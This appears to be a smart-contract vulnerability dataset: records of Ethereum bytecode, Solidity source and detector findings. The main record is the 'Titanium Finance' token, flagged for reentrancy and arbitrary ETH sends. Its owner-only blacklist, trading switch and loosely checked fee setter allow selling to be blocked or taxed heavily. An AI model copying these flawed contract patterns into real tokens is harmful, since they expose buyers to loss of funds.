110610f9a57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03161415610fbc57600192505050610338565b80610fc6816115c6565b915050610f68565b506000949350505050565b600080600080600080610fed876000610e02565b90506000610ffc886020611169565b9050600061100b896028611169565b9050600061101a8a6030610e02565b905060006110298b60506111c8565b949b939a50919850965091945092505050565b6110468282610d33565b156104fc576000828152602081815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b600081516041146110f45760405162461bcd60e51b815260206004820152601a60248201527f5369676e617475726520696e636f7272656374206c656e67746800000000000060448201526064016103ca565b602082810151604080850151606080870151835160008082529681018086528a9052951a928501839052840183905260808401819052919260019060a0016020604051602081039080840390855afa158015611154573d6000803e3d6000fd5b5050604051601f190151979650505050505050565b600061117682602061157e565b835110156111bc5760405162461bcd60e51b815260206004820152601360248201527255696e743634206f7574206f662072616e676560681b60448201526064016103ca565b50016020015160c01c90565b60006111d582602061157e565b83511015610e565760405162461bcd60e51b815260206004820152601460248201527341646472657373206f7574206f662072616e676560601b60448201526064016103ca565b600082601f83011261122c578081fd5b813567ffffffffffffffff811115611246576112466115f7565b611259601f8201601f191660200161154d565b81815284602083860101111561126d578283fd5b816020850160208301379081016020019190915292915050565b600060208284031215611298578081fd5b813580151581146112a7578182fd5b9392505050565b6000602082840312156112bf578081fd5b5035919050565b600080604083850312156112d8578081fd5b8235915060208301356001600160a01b03811681146112f5578182fd5b809150509250929050565b600060208284031215611311578081fd5b81356001600160e01b0319811681146112a7578182fd5b600060208284031215611339578081fd5b813567ffffffffffffffff81111561134f578182fd5b61135b8482850161121c565b949350505050565b600080600060608486031215611377578081fd5b833567ffffffffffffffff8082111561138e578283fd5b61139a8783880161121c565b94506020915081860135818111156113b0578384fd5b8601601f810188136113c0578384fd5b8035828111156113d2576113d26115f7565b8060051b6113e185820161154d565b8281528581019084870183860188018d10156113fb578889fd5b8893505b848410156114385780358781111561141557898afd5b6114238e8a838a010161121c565b845250600193909301929187019187016113ff565b509750505050604087013592505080821115611452578283fd5b5061145f8682870161121c565b9150509250925092565b6000806040838503121561147b578182fd5b823567ffffffffffffffff80821115611492578384fd5b61149e8683870161121c565b935060208501359150808211156114b3578283fd5b506114c08582860161121c565b9150509250929050565b6000602082840312156114db578081fd5b813560ff811681146112a7578182fd5b600083516114fd818460208801611596565b835190830190611511818360208801611596565b01949350505050565b6020815260008251806020840152611539816040850160208701611596565b601f01601f19169190910160400192915050565b604051601f8201601f1916810167ffffffffffffffff81118282101715611576576115766115f7565b604052919050565b60008219821115611591576115916115e1565b500190565b60005b838110156115b1578181015183820152602001611599565b838111156115c0576000848401525b50505050565b60006000198214156115da576115da6115e1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220e95ba8f95cfb1fe909b5e9da7b9687dc1f51111e332aae3eb11f5184e909d53e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,991 |
0x2e8e0e33ed08eb66d08df01239a60bae8a0637e7
|
/**
*Submitted for verification at Etherscan.io on 2022-04-10
*/
// SPDX-License-Identifier: Unlicensed
// TG: Titaniumfi
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Ti is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Titanium Finance";
string private constant _symbol = "Ti";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000000000 * 10**9;
uint256 public _maxWalletSize = 15000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner());
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 60000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057a578063dd62ed3e1461059a578063ea1644d5146105e0578063f2fde38b1461060057600080fd5b8063a2a957bb146104f5578063a9059cbb14610515578063bfd7928414610535578063c3c8cd801461056557600080fd5b80638f70ccf7116100d15780638f70ccf7146104745780638f9a55c01461049457806395d89b41146104aa57806398a5c315146104d557600080fd5b80637d1db4a5146103fe5780637f2feddc146104145780638203f5fe146104415780638da5cb5b1461045657600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039457806370a08231146103a9578063715018a6146103c957806374010ece146103de57600080fd5b8063313ce5671461031857806349bd5a5e146103345780636b999053146103545780636d8aa8f81461037457600080fd5b80631694505e116101b65780631694505e1461028457806318160ddd146102bc57806323b872dd146102e25780632fd689e31461030257600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025457600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b506102076102023660046119f2565b610620565b005b34801561021557600080fd5b5060408051808201909152601081526f546974616e69756d2046696e616e636560801b60208201525b60405161024b9190611ab7565b60405180910390f35b34801561026057600080fd5b5061027461026f366004611b0c565b6106bf565b604051901515815260200161024b565b34801561029057600080fd5b506013546102a4906001600160a01b031681565b6040516001600160a01b03909116815260200161024b565b3480156102c857600080fd5b50683635c9adc5dea000005b60405190815260200161024b565b3480156102ee57600080fd5b506102746102fd366004611b38565b6106d6565b34801561030e57600080fd5b506102d460175481565b34801561032457600080fd5b506040516009815260200161024b565b34801561034057600080fd5b506014546102a4906001600160a01b031681565b34801561036057600080fd5b5061020761036f366004611b79565b61073f565b34801561038057600080fd5b5061020761038f366004611ba6565b61078a565b3480156103a057600080fd5b506102076107d2565b3480156103b557600080fd5b506102d46103c4366004611b79565b6107ff565b3480156103d557600080fd5b50610207610821565b3480156103ea57600080fd5b506102076103f9366004611bc1565b610895565b34801561040a57600080fd5b506102d460155481565b34801561042057600080fd5b506102d461042f366004611b79565b60116020526000908152604090205481565b34801561044d57600080fd5b506102076108d7565b34801561046257600080fd5b506000546001600160a01b03166102a4565b34801561048057600080fd5b5061020761048f366004611ba6565b610a8f565b3480156104a057600080fd5b506102d460165481565b3480156104b657600080fd5b50604080518082019091526002815261546960f01b602082015261023e565b3480156104e157600080fd5b506102076104f0366004611bc1565b610aee565b34801561050157600080fd5b50610207610510366004611bda565b610b1d565b34801561052157600080fd5b50610274610530366004611b0c565b610b77565b34801561054157600080fd5b50610274610550366004611b79565b60106020526000908152604090205460ff1681565b34801561057157600080fd5b50610207610b84565b34801561058657600080fd5b50610207610595366004611c0c565b610bba565b3480156105a657600080fd5b506102d46105b5366004611c90565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ec57600080fd5b506102076105fb366004611bc1565b610c5b565b34801561060c57600080fd5b5061020761061b366004611b79565b610c8a565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161064a90611cc9565b60405180910390fd5b60005b81518110156106bb5760016010600084848151811061067757610677611cfe565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b381611d2a565b915050610656565b5050565b60006106cc338484610d74565b5060015b92915050565b60006106e3848484610e98565b610735843361073085604051806060016040528060288152602001611e42602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061128a565b610d74565b5060019392505050565b6000546001600160a01b031633146107695760405162461bcd60e51b815260040161064a90611cc9565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b45760405162461bcd60e51b815260040161064a90611cc9565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f257600080fd5b476107fc816112c4565b50565b6001600160a01b0381166000908152600260205260408120546106d0906112fe565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161064a90611cc9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161064a90611cc9565b653691d6afc0008110156108d257600080fd5b601555565b6000546001600160a01b031633146109015760405162461bcd60e51b815260040161064a90611cc9565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610966573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098a9190611d43565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fb9190611d43565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6c9190611d43565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab95760405162461bcd60e51b815260040161064a90611cc9565b601454600160a01b900460ff1615610ad057600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b185760405162461bcd60e51b815260040161064a90611cc9565b601755565b6000546001600160a01b03163314610b475760405162461bcd60e51b815260040161064a90611cc9565b60095482111580610b5a5750600b548111155b610b6357600080fd5b600893909355600a91909155600955600b55565b60006106cc338484610e98565b6012546001600160a01b0316336001600160a01b031614610ba457600080fd5b6000610baf306107ff565b90506107fc81611382565b6000546001600160a01b03163314610be45760405162461bcd60e51b815260040161064a90611cc9565b60005b82811015610c55578160056000868685818110610c0657610c06611cfe565b9050602002016020810190610c1b9190611b79565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4d81611d2a565b915050610be7565b50505050565b6000546001600160a01b03163314610c855760405162461bcd60e51b815260040161064a90611cc9565b601655565b6000546001600160a01b03163314610cb45760405162461bcd60e51b815260040161064a90611cc9565b6001600160a01b038116610d195760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064a565b6001600160a01b038216610e375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610efc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064a565b6001600160a01b038216610f5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064a565b60008111610fc05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064a565b6000546001600160a01b03848116911614801590610fec57506000546001600160a01b03838116911614155b1561118357601454600160a01b900460ff1661101c576000546001600160a01b0384811691161461101c57600080fd5b60155481111561102b57600080fd5b6001600160a01b03831660009081526010602052604090205460ff1615801561106d57506001600160a01b03821660009081526010602052604090205460ff16155b61107657600080fd5b6014546001600160a01b038381169116146110ac5760165481611098846107ff565b6110a29190611d60565b106110ac57600080fd5b60006110b7306107ff565b6017546015549192508210159082106110d05760155491505b8080156110e75750601454600160a81b900460ff16155b801561110157506014546001600160a01b03868116911614155b80156111165750601454600160b01b900460ff165b801561113b57506001600160a01b03851660009081526005602052604090205460ff16155b801561116057506001600160a01b03841660009081526005602052604090205460ff16155b156111805761116e82611382565b47801561117e5761117e476112c4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111c557506001600160a01b03831660009081526005602052604090205460ff165b806111f757506014546001600160a01b038581169116148015906111f757506014546001600160a01b03848116911614155b156112045750600061127e565b6014546001600160a01b03858116911614801561122f57506013546001600160a01b03848116911614155b1561124157600854600c55600954600d555b6014546001600160a01b03848116911614801561126c57506013546001600160a01b03858116911614155b1561127e57600a54600c55600b54600d555b610c55848484846114fc565b600081848411156112ae5760405162461bcd60e51b815260040161064a9190611ab7565b5060006112bb8486611d78565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bb573d6000803e3d6000fd5b60006006548211156113655760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064a565b600061136f61152a565b905061137b838261154d565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ca576113ca611cfe565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611423573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114479190611d43565b8160018151811061145a5761145a611cfe565b6001600160a01b0392831660209182029290920101526013546114809130911684610d74565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b9908590600090869030904290600401611d8f565b600060405180830381600087803b1580156114d357600080fd5b505af11580156114e7573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115095761150961158f565b6115148484846115bd565b80610c5557610c55600e54600c55600f54600d55565b60008060006115376116b4565b9092509050611546828261154d565b9250505090565b600061137b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116f6565b600c5415801561159f5750600d54155b156115a657565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115cf87611724565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116019087611781565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461163090866117c3565b6001600160a01b03891660009081526002602052604090205561165281611822565b61165c848361186c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116a191815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006116d0828261154d565b8210156116ed57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117175760405162461bcd60e51b815260040161064a9190611ab7565b5060006112bb8486611e00565b60008060008060008060008060006117418a600c54600d54611890565b925092509250600061175161152a565b905060008060006117648e8787876118e5565b919e509c509a509598509396509194505050505091939550919395565b600061137b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061128a565b6000806117d08385611d60565b90508381101561137b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064a565b600061182c61152a565b9050600061183a8383611935565b3060009081526002602052604090205490915061185790826117c3565b30600090815260026020526040902055505050565b6006546118799083611781565b60065560075461188990826117c3565b6007555050565b60008080806118aa60646118a48989611935565b9061154d565b905060006118bd60646118a48a89611935565b905060006118d5826118cf8b86611781565b90611781565b9992985090965090945050505050565b60008080806118f48886611935565b905060006119028887611935565b905060006119108888611935565b90506000611922826118cf8686611781565b939b939a50919850919650505050505050565b600082600003611947575060006106d0565b60006119538385611e22565b9050826119608583611e00565b1461137b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b80356119ed816119cd565b919050565b60006020808385031215611a0557600080fd5b823567ffffffffffffffff80821115611a1d57600080fd5b818501915085601f830112611a3157600080fd5b813581811115611a4357611a436119b7565b8060051b604051601f19603f83011681018181108582111715611a6857611a686119b7565b604052918252848201925083810185019188831115611a8657600080fd5b938501935b82851015611aab57611a9c856119e2565b84529385019392850192611a8b565b98975050505050505050565b600060208083528351808285015260005b81811015611ae457858101830151858201604001528201611ac8565b81811115611af6576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b1f57600080fd5b8235611b2a816119cd565b946020939093013593505050565b600080600060608486031215611b4d57600080fd5b8335611b58816119cd565b92506020840135611b68816119cd565b929592945050506040919091013590565b600060208284031215611b8b57600080fd5b813561137b816119cd565b803580151581146119ed57600080fd5b600060208284031215611bb857600080fd5b61137b82611b96565b600060208284031215611bd357600080fd5b5035919050565b60008060008060808587031215611bf057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c2157600080fd5b833567ffffffffffffffff80821115611c3957600080fd5b818601915086601f830112611c4d57600080fd5b813581811115611c5c57600080fd5b8760208260051b8501011115611c7157600080fd5b602092830195509350611c879186019050611b96565b90509250925092565b60008060408385031215611ca357600080fd5b8235611cae816119cd565b91506020830135611cbe816119cd565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611d3c57611d3c611d14565b5060010190565b600060208284031215611d5557600080fd5b815161137b816119cd565b60008219821115611d7357611d73611d14565b500190565b600082821015611d8a57611d8a611d14565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ddf5784516001600160a01b031683529383019391830191600101611dba565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e1d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e3c57611e3c611d14565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bd2eb69bccbe04b42c6961d7aec51bfdc3bf499864a41cdbd5014055cfa2a4e864736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,992 |
0x705932f4f88b94c6429be75e6d1450dbe82331bc
|
pragma solidity 0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
